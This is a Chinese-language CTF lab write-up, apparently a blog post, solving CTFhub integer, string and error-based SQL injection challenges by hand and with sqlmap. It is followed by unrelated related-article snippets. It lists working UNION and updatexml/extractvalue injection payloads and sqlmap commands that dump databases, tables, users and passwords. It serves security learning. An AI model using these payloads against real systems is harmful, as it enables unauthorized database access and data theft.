SQL学习(CTFhub)整数型注入,字符型注入,报错注入 -----手工注入+ sqlmap注入
目录
整数型注入
手工注入
为什么要将1设置为-1呢?
sqlmap注入
sqlmap注入步骤:
字符型注入
手工注入
sqlmap注入
报错注入
手工注入
sqlmap注入
整数型注入
手工注入
先输入1

接着尝试2,3,2有回显,而3没有回显


同样的,输入非整数的字符也没有回显

根据结果可以判断这是整数型注入,接着就可以爆字段了
1 order by 1,接着尝试爆1 order by 2, 1 order by 3,结果到1 order by 3出现报错,由此可以判断,表格中有两个字段

爆数据库

-1 union select 1,database()

为什么要将1设置为-1呢?
因为我们是要让服务器返回的是select 1,database()的数据 因为服务器没有-1 所以会返回select 1 的内容
爆破表名
limit 0,1(0,1从数据库地一个开始只拿一个字段)
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

得到该数据库的所有字段
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

爆破字段名
-1 union select 1,group_concat(flag) from sqli.flag

sqlmap注入
sqlmap注入步骤:
查询sqlmap是否存在注入命令:sqlmap.py -u url/?id=1
查询当前用户下的所有数据库:sqlmap.py -u url/?id=1 --dbs
获取数据库的表名:sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名:sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容:sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户:sqlmap.py -u url/?id=1 --users
查询数据库的所有密码:sqlmap.py -u url/?id=1 --passwords
查询数据库名称:sqlmap.py -u url/?id=1 --current-db在Kali Linux上运行sqlmap不需要后面的.py直接sqlmap就行了
查询sqlmap是否存在注入命令
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1

发现id might be vulnerable 说明 存在注入,执行完成发现爆出了很多信息
查询当前用户下的所有数据库
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1 --dbs

获取数据库的表名
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
获取表中的字段名
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

获取字段的内容
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

字符型注入
手工注入
先输入一个1

当输入1 and 1=1 得到的结果却有'

那就输入1' ,发现报错没有回显,接着输入1' and 1=1

发现后面有一个分号,总体一看是多着一个分号,那就用#将其注释掉

成功找到注入点,但是sql语句后面要加#注释掉后面会报错的内容
爆数据库
-1' union select 1,database() #(这里的-1和整数型注入的情况一样)

爆表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

查询flag
-1' union select 1,group_concat(flag) from sqli.flag #

sqlmap注入
查询sqlmap是否存在注入命令
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1

查询数据库
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1 --dbs

获取数据库的表名
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1 --tables

获取表中的字段名
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

获取字段的内容
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

报错注入
手工注入
先输入一个1

尝试输入1',出现报错

使用的函数是updatemxl(1,2,3)
MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
特殊符号我们选择 ~ 0x7e
爆数据库名
1 and updatexml(1,concat(0x7e,database()),3)

爆破表名
1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

获取字段名
1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)

获取字段内容
1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

但是没有将flag的所有字符输出出来,所以现在运用函数将flag完整的输出出来
1 and updatexml(1,concat(0x7e,mid((select group_concat(flag)from sqli.flag),1,16)),3)

1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))

sqlmap注入
查询sqlmap是否存在注入命令
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id=1
爆数据库名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id=1 --dbs

获取数据库的表名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

获取表中的字段名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

获取字段的内容

相关文章:
SQL学习(CTFhub)整数型注入,字符型注入,报错注入 -----手工注入+ sqlmap注入
目录 整数型注入 手工注入 为什么要将1设置为-1呢? sqlmap注入 sqlmap注入步骤: 字符型注入 手工注入 sqlmap注入 报错注入 手工注入 sqlmap注入 整数型注入 手工注入 先输入1 接着尝试2,3,2有回显,而3没有回显…...
数字人部署之VITS+Wav2lip数据流转处理以提高实时性
一、模型 VITS模型训练教程VITS-从零开始微调(finetune)训练并部署指南-支持本地云端 Wav2lip是2D数字人,可参考训练嘴型同步模型Wav2Lip PS:以上模型都是开源可用。 二. VITS数据处理问题 VITS模型的输出为一维的numpy类型数据ÿ…...
GPT 学习法:复杂文献轻松的完美理解、在庞大的不确性中找到确定性
GPT 学习法:复杂文献轻松的完美理解、在庞大的不确性中找到确定性 复杂文献 - 基础理解GPT 理解法 - 举例子、归纳、逻辑链推导本质、图示、概念放大器GPT 分析法 - 二分、矩阵、公式、要素、过程 做复杂题:在庞大的不确性中找到确定性思维追踪ÿ…...
前端简单的爱心形状
首先需要创建一个 HTML 文件,然后在其中添加 CSS 样式和 JavaScript 代码。以下是一个简单的示例: 创建一个名为 loveheart.html 的文件 <!DOCTYPE html> <html lang"zh"> <head><meta charset"UTF-8"><…...
acwing算法基础之数学知识--求数a的欧拉函数值phi(a)
目录 1 基础知识2 模板3 工程化 1 基础知识 数a的欧拉函数 ϕ ( a ) \phi(a) ϕ(a):表示1~n中与n互质的数的个数。其中两个数互质,是指这两个数的最大公约数为1。 根据定义,我们可以写出如下方法, int gcd(int a, int b) {retu…...
Jenkins的介绍与相关配置
Jenkins的介绍与配置 一.CI/CD介绍 1.CI/CD概念 ①CI 中文意思是持续集成 (Continuous Integration, CI) 是一种软件开发流程,核心思想是在代码库中的每个提交都通过自动化的构建和测试流程进行验证。这种方法可以帮助团队更加频繁地交付软件&#x…...
开源网安受邀参加网络空间安全合作与发展论坛,为软件开发安全建设献计献策
11月10日,在广西南宁举办的“2023网络空间安全合作与发展论坛”圆满结束。论坛在中国兵工学会的指导下,以“凝聚网络空间安全学术智慧,赋能数字经济时代四链融合”为主题,邀请了多位专家及企业代表共探讨网络安全发展与数字经济…...
arcgis提取栅格有效边界
方法一:【3D Analyst工具】-【转换】-【由栅格转出】-【栅格范围】 打开一幅栅格数据,利用【栅格范围】工具提取其有效边界(不包含NoData值): 方法二:先利用【栅格计算器】将有效值赋值为1,得到…...
后端接口性能优化分析-问题发现问题定义
👏作者简介:大家好,我是爱吃芝士的土豆倪,24届校招生Java选手,很高兴认识大家📕系列专栏:Spring源码、JUC源码🔥如果感觉博主的文章还不错的话,请👍三连支持&…...
中国首个通过ASIL D认证的IP发布,国产芯片供应商的机会来了
来自智能汽车的“芯”安全需求正在快速爆发。 一方面,随着智能汽车ADAS的快速迭代与逐渐普及化,以及越来越多元化智能座舱功能的快速上车,由此带来的车辆信息安全场景也在与日俱增,例如云端链接、设备身份认证、自动驾驶安全保障…...
[单片机课程设计报告汇总] 单片机设计报告常用硬件元器件描述
[单片机课程设计必看] 单片机设计报告常用描述 硬件设计 AT89C51最小系统 AT89C51是美国ATMEL公司生产的低电压,高性能CMOS16位单片机,片内含4k bytes的可反复擦写的只读程序存储器和128 bytes的随机存取数据存储器,期间采用ATMEL公司的高…...
Docker学习——⑧
文章目录 1、什么是 Docker Compose(容器编排)2、为什么要 Docker Compose?3、Docker Compose 的安装4、Docker Compose 的功能和使用场景5、Docker Compose 文件(docker-compose.yml)5.1 文件语法版本5.2 文件基本结构及常见指令 6、Docker …...
力扣刷题第二十一天--栈与队列
前言 周末玩了两天,s赛看的难受。。。还是和生活对线吧 内容 一、用栈实现队列 232.用栈实现队列 请你仅使用两个栈实现先入先出队列。队列应当支持一般队列支持的所有操作(push、pop、peek、empty): 实现 MyQueue 类&#…...
Python基础-解释器安装
一、下载 网址Welcome to Python.orgPython更新到13了,我们安装上一个12版本。 这里我保存到网盘里了,不想从官网下的,可以直接从网盘里下载。 链接:百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间…...
MySQL(14):视图
数据库对象 对象描述表(TABLE)表是存储数据的逻辑单元,以行和列的形式存在,列就是字段,行就是记录数据字典就是系统表,存放数据库相关信息的表。系统表的数据通常由数据库系统维护,程序员通常不应该修改,只…...
Blazor 附件上传和下载功能
效果图 page "/uploadFile" inject Microsoft.AspNetCore.Hosting.IWebHostEnvironment WebHostEnvironment inject ToastService ToastService inject DownloadService DownloadService<h3>UploadFile</h3><Button OnClick"ButtonClick" C…...
Git 安装配置
目录 Linux 平台上安装 Debian/Ubuntu Centos/RedHat 源码安装 Windows 平台上安装 Mac 平台上安装 Git 配置 用户信息 文本编辑器 差异分析工具 查看配置信息 在使用Git前我们需要先安装 Git。Git 目前支持 Linux/Unix、Solaris、Mac和 Windows 平台上运行。 Git …...
Center Smoothing Certified Robustness for Networks with Structured Outputs
文章目录 Center Smoothing: Certified Robustness for Networks with Structured OutputsSummaryResearch ObjectiveProblem StatementMethodsEvaluationConclusionNotesGaussian Smoothing常用希腊字母霍夫丁不等式(Hoeffdings inequality)1.简述2.霍夫…...
C#几种截取字符串的方法
在C#编程中,经常需要对字符串进行截取操作,即从一个长字符串中获取所需的部分信息。本文将介绍几种常用的C#字符串截取方法,并提供相应的示例代码。 目录 1. 使用Substring方法2. 使用Split方法3. 使用Substring和IndexOf方法4. 使用Regex类…...
【PG】PostgreSQL高可用方案repmgr部署(非常详细)
目录 简介 1 概述 1.1 术语 1.2 组件 1.2.1 repmgr 1.2.2 repmgrd 1.3 Repmgr用户与元数据 2 安装部署 2.0 部署环境 2.1 安装要求 2.1.1 操作系统 2.1.2 PostgreSQL 版本 2.1.3 操作系统用户 2.1.4 安装位置 2.1.5 版本要求 2.2 安装 2.2.1 软件包安装 2.2…...
深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录
ASP.NET Core 是一个跨平台的开源框架,用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录,以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...
C++初阶-list的底层
目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...
React第五十七节 Router中RouterProvider使用详解及注意事项
前言 在 React Router v6.4 中,RouterProvider 是一个核心组件,用于提供基于数据路由(data routers)的新型路由方案。 它替代了传统的 <BrowserRouter>,支持更强大的数据加载和操作功能(如 loader 和…...
通过Wrangler CLI在worker中创建数据库和表
官方使用文档:Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后,会在本地和远程创建数据库: npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库: 现在,您的Cloudfla…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验
系列回顾: 在上一篇中,我们成功地为应用集成了数据库,并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了!但是,如果你仔细审视那些 API,会发现它们还很“粗糙”:有…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...
C# 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
